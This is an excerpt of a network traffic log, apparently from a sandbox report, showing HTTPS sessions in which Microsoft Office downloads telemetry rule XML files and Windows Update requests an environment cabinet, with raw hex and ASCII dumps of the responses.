2024-11-21 13:27:05 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:27:05 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 297afce4-701e-0053-438c-3a3a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132705Z-178bfbc474bwlrhlhC1NYCy3kg00000001d000000000nqvm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:27:05 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.5	49865	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:27:05 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:27:05 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:27:05 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 1a87898e-001e-002b-2066-3b99f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132705Z-178bfbc474btvfdfhC1NYCa2en00000001gg00000000hpm4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:27:05 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.5	49866	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:27:05 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:27:06 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:27:05 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 87533e62-501e-008f-028c-3a9054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132705Z-1777c6cb754dqb2khC1TEBmk1s0000000b3000000000bpah x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:27:06 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.5	49868	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:27:05 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:27:06 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:27:05 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: b9d90d28-901e-00a0-5d63-3b6a6d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132705Z-178bfbc474bwh9gmhC1NYCy3rs00000001qg0000000015vu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:27:06 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.5	49870	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:27:06 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:27:06 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:27:06 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 07391e4c-a01e-0032-018c-3a1949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132706Z-1777c6cb754dqf99hC1TEB5nps0000000aw000000000m0uv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:27:06 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.5	49871	52.149.20.212	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:27:06 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=b+8HaSoDW3vVDPm&MD=SeklaChs HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-21 13:27:07 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: 7f23dede-4f79-4279-94fa-1bdb2f274d62 MS-RequestId: 0e2e2958-0841-44b1-a1af-54d5d56742ec MS-CV: PzZjpvvBg0en49kX.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Thu, 21 Nov 2024 13:27:06 GMT Connection: close Content-Length: 30005
2024-11-21 13:27:07 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-11-21 13:27:07 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.5	49872	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:27:07 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:27:07 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:27:07 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: 46934538-601e-0050-507b-3b2c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132707Z-178bfbc474btvfdfhC1NYCa2en00000001ng000000007swd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:27:07 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.5	49873	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:27:07 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:27:07 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:27:07 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 64a4ee2c-301e-0099-6775-3b6683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132707Z-178bfbc474bxkclvhC1NYC69g400000001eg00000000dwkq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:27:07 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.5	49875	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:27:07 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:27:08 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:27:08 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: 110996dd-801e-0048-7360-3bf3fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132708Z-178bfbc474bq2pr7hC1NYCkfgg00000001pg00000000am4u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:27:08 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.5	49874	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:27:07 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:27:08 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:27:08 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: 538e08fd-a01e-0032-4b7d-3b1949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132708Z-r1d97b99577lxltfhC1TEByw2s0000000ak0000000000ve1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:27:08 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.5	49877	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:27:08 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:27:08 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:27:08 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: e0bc54cd-b01e-00ab-7688-3bdafd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132708Z-r1d97b99577ndm4rhC1TEBf0ps0000000ag000000000axar x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:27:08 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.5	49879	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:27:09 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
